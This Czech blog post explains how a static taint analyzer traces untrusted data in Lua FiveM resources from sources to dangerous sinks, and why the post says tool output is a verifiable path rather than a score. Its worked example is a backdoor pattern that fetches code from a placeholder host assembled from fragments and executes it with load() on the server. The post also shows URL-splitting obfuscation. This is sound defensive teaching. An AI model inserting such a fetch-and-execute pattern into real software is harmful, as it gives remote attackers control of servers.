Taint analýza pro Lua: jak trasujeme payload z HTTP do load()

Publikováno 5 min čteníTitan Software z.s.

Ve zkratce

Taint analýza sleduje nedůvěryhodné hodnoty od místa, kde vstupují do programu (zdroje), k místu, kde udělají něco nebezpečného (sinky). U FiveM resources jsou zdroji HTTP odpovědi, parametry síťových eventů, čtení souborů a convary; sinky jsou load a loadstring, ExecuteCommand, skládání SQL řetězců a odchozí požadavky nesoucí tajemství. Mezi nimi analyzátor propaguje taint přes přiřazení, konkatenace, pole tabulek a volání funkcí a cestou skládá konstanty, aby se URL poskládaná z fragmentů přesto vyřešila. Nález se hlásí jen tehdy, když existuje konkrétní cesta ze zdroje do sinku — a výstupem je právě ta cesta, soubor, řádek a každý skok, protože provozovatel umí ověřit cestu a neumí ověřit skóre.

Hlavní body

  • Zdroje jsou místa vstupu nedůvěryhodných dat, sinky místa, kde se stanou nebezpečnými. Nález je cesta mezi nimi.
  • Propagace musí sledovat přiřazení, konkatenaci, pole tabulek a hranice funkcí, jinak reálné backdoory proklouznou.
  • Constant folding porazí rozsekané URL i řetězce z kódů znaků, aniž by bylo potřeba cokoli spustit.
  • Kontext manifestu rozhoduje o závažnosti: stejný vzor v nenačítaném souboru není stejný nález.
  • Dodávejte cestu, ne skóre. Důkaz je to, co dělá výsledek akceschopným a vyvratitelným.

Hledání vzorů najde naivní případy. Najde load( i PerformHttpRequest a u resource, kde jsou dvanáct řádků od sebe, dá správnou odpověď. U čehokoli napsaného tak, aby se tomu vyhnul, vyprodukuje dva nesouvisející zásahy a žádný závěr. Dostat se dál vyžaduje uvažovat o hodnotách, ne o textu.

Model: zdroje, sinky, propagace

Taint analýza je jedna ze starších myšlenek statické bezpečnostní analýzy a příjemně jednoduše se popisuje. Označte hodnoty přicházející z nedůvěryhodných míst. Sledujte je, jak je program přesouvá. Ohlaste, když se některá dostane tam, kam nemá.

KategoriePříklady
ZdrojeTěla odpovědí PerformHttpRequest, parametry síťových eventů, čtení souborů, hodnoty convarů, data z NUI callbacků
Sinkyload / loadstring, ExecuteCommand, add_ace / add_principal, SQL dotazy, těla odchozích požadavků
SanitizéryKontroly typu, porovnání proti allow-listu, převod na číslo, parametrizované dotazy
PropagátoryPřiřazení, konkatenace, zápis a čtení pole tabulky, argument a návratová hodnota funkce
Konkrétní podoba pro FiveM

Zajímavé inženýrství není v té taxonomii. Je v tom, že Lua dělá krok propagace opravdu těžkým.

Proč se tomu Lua brání

  • Dynamické typování. Hodnota nemá deklarovaný typ, takže se analyzátor nemůže opřít o typový systém při omezování toho, co proměnná drží.
  • Tabulky jako všechno. Objekty, pole, jmenné prostory i closury jsou tabulky, takže sledování citlivé na pole není volitelné.
  • Funkce jako hodnoty. Funkce se dá uložit do tabulky, předat dál a zavolat přes proměnnou — sledovat skrz ni taint vyžaduje vyřešit cíl volání.
  • Metatabulky. __index a __call umí přesměrovat operace do kódu úplně jinde.
  • Vícenásobné návratové hodnoty a varargs. Jedno místo volání může propagovat taint do několika cílů naráz.
  • A samozřejmě samotný load — sink je zároveň způsob, jak vytvořit nový kód, který analyzátor nikdy nenaparsoval.

Constant folding: praktická nezbytnost

Nejčastější obcházení není chytré, je aritmetické. URL rozsekaná do konkatenací, řetězec složený z kódů znaků, tabulka spojená za běhu. Nic z toho nepřežije vyhodnocení, takže analyzátor vyhodnotí, co bezpečně může.

lua
local a = 'ht' .. 'tps://' .. 'example' .. '.test'
local b = string.char(104,116,116,112,115,58,47,47)
local c = table.concat({'https:', '', 'example.test'}, '/')
Všechny tři se před porovnáním složí na stejný literál

Skládání je čisté vyhodnocení nad známými konstantami — žádný kód resource se nespouští a analyzátor odmítne složit cokoli, co závisí na stavu za běhu. Právě tahle hranice drží statický nástroj statickým: 'ht' .. 'tps://' spočítat umí, protože oba operandy jsou literály, a odmítne hádat, co vrátí os.date().

Rozebraný příklad

lua
-- config.lua
Config = {}
Config.Node = 'cdn' .. '-eu' .. '.example'
Config.Path = '/v1/' .. 'sync'

-- server/telemetry.lua
local function unpackPayload(s)
  return (s:gsub('%s', ''))
end

CreateThread(function()
  PerformHttpRequest(
    'https://' .. Config.Node .. Config.Path,
    function(status, body)
      if status ~= 200 then return end
      local decoded = unpackPayload(body)
      local chunk = load(decoded)
      if chunk then chunk() end
    end, 'GET')
end)
Rozprostřeno do dvou souborů, jako v reálných vzorcích
  1. 1

    Složte endpoint

    Config.Node a Config.Path jsou konstantní výrazy napříč soubory, takže se cíl požadavku vyřeší na konkrétní host a cestu.

  2. 2

    Označte zdroj

    Parametr body v callbacku PerformHttpRequest je síťová odpověď. Otaintujte ho.

  3. 3

    Propagujte skrz volání

    body se předá do unpackPayload. Analyzátor sleduje argument do těla funkce, přes gsub a zpátky ven návratovou hodnotou.

  4. 4

    Propagujte přiřazením

    decoded drží vrácenou otaintovanou hodnotu.

  5. 5

    Zásah do sinku

    load(decoded) je sink dynamického načtení přijímající otaintovaná data. Cesta je kompletní.

  6. 6

    Zvažte kontext manifestu

    server/telemetry.lua je v server_scripts, takže tohle běží s přístupem k databázi a konzoli. Závažnost: kritická.

Report je ten sled, ne číslo. „config.lua:3 definuje host, server/telemetry.lua:11 přijímá odpověď, :13 ji transformuje, :14 ji spouští a tenhle soubor běží na serveru“ si provozovatel otevře v editoru a za devadesát sekund potvrdí. Ta ověřitelnost je celý produkt.

Kde pořád prohráváme

  • Hluboká obfuskace. Když se každý identifikátor skládá aritmetikou za běhu, strukturální signál přežije, ale payload ne. Hlásíme strukturu a píšeme, že payload nebylo možné vyřešit.
  • Agresivně používaná nepřímost přes metatabulky. Řešit řetězy __index staticky jde v jednoduchých případech a obecně je to nerozhodnutelné.
  • Kód skutečně skládaný za běhu z externího vstupu — poctivá odpověď je, že ten kód do spuštění neexistuje.
  • Úmysl. Analýza dokáže, že data tečou ze sítě do spuštění. Jestli jde o systém pluginů, nebo o backdoor, posoudí člověk s kontextem, který nemáme.

Pojmenovat tohle není alibi. Je to to, co dává nálezům, které hlásíme, konkrétní význam — nástroj, který nikdy neřekne „tohle jsem nedokázal vyřešit“, je nástroj, jehož čisté výsledky nenesou žádnou informaci.

Podívejte se na analýzu reálného archivuNahrajte resource a přečtěte si důkazní cestu: soubor, řádek a každý skok od zdroje k sinku.

Časté dotazy

Co je taint analýza a jak odhaluje FiveM backdoory?

Taint analýza označí hodnoty přicházející z nedůvěryhodných zdrojů — HTTP odpovědi, parametry síťových eventů, čtení souborů — a sleduje je přes přiřazení, konkatenace, pole tabulek a volání funkcí, jestli se dostanou k nebezpečné operaci jako load(), ExecuteCommand nebo SQL řetězec. Když existuje konkrétní cesta ze zdroje do sinku, ta cesta je nálezem a dá se nahlásit se souborem a řádkem u každého skoku.

Proč je statická analýza Lua těžší než u jiných jazyků?

Lua je dynamicky typované, používá tabulky pro objekty, pole i jmenné prostory, bere funkce jako hodnoty, které jdou uložit a volat nepřímo, a umožňuje metatabulkám přesměrovat operace jinam. Analyzátor se proto nemůže opřít o deklarované typy při omezení toho, co proměnná drží, takže sledování citlivé na pole a na volání je povinnost, ne optimalizace.

Jak scanner prokoukne URL rozsekanou do fragmentů?

Constant foldingem. Analyzátor vyhodnotí výrazy, jejichž operandy jsou samé známé literály — konkatenace řetězců, sekvence kódů znaků, spojení tabulek — a porovnává až složený výsledek, ne zdrojový text. Kód resource nikdy nespustí a odmítne skládat cokoli závislého na stavu za běhu, čímž analýza zůstává statická.

Související projekty

Čtěte dál

5 min čtení

Jak číst fxmanifest.lua očima bezpečnostního revizora

Průvodce manifestem FiveM resource: co která direktiva uděluje, které položky mění dosah škody a na jaké červené vlajky se vyplatí zastavit.

EngineeringBezpečnost FiveMProvoz serveru
Číst článek